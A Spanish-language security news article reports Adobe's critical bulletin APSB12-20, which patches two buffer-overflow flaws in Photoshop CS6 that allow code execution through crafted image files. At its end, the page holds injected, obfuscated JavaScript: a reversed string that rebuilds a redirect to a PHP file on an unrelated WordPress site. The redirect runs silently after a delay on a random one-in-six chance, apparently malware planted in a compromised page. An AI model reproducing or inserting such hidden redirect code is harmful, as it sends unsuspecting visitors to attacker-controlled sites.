Mas vulnerabilidades en Adobe Photoshop CS6

Adobe ha publicado un boletín de seguridad en el que corrige dos

vulnerabilidades en su producto Adobe Photoshop CS6. El boletín es
calificado como crítico por parte de Adobe y tiene el identificador
APSB12-20.

Adobe Photoshop es un software de tratamiento de imágenes muy potente y
popular en varias ramas de la industria multimedia, principalmente en el
retoque fotográfico.

Adobe no ha dado mucha información sobre las dos incidencias.
Simplemente indica que el error provocaría un desbordamiento de memoria
intermedia que puede ser aprovechado para ejecutar código arbitrario en
la máquina objetivo a través de un fichero especialmente manipulado. A
efectos prácticos esto significa que, abriendo con CS6 algún tipo de
fichero de imagen compatible, se podría llegar a ejecutar/descargar
código en la máquina sin que la víctima se percatase.

Las vulnerabilidades han sido clasificadas como CVE-2012-4170 y
CVE-2012-0275 y afectan tanto a la versión de Windows como la de
Macintosh.

Adobe ha publicado la versión 13.0.1 de su rama CS6 (Creative Suite 6).
La rama anterior CS5 (que va por sus versiones 12.1.1 y 12.0.5 para
Windows y Macintosh respectivamente) no necesitarán ser actualizadas.

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toshop-cs6.html”> Fuente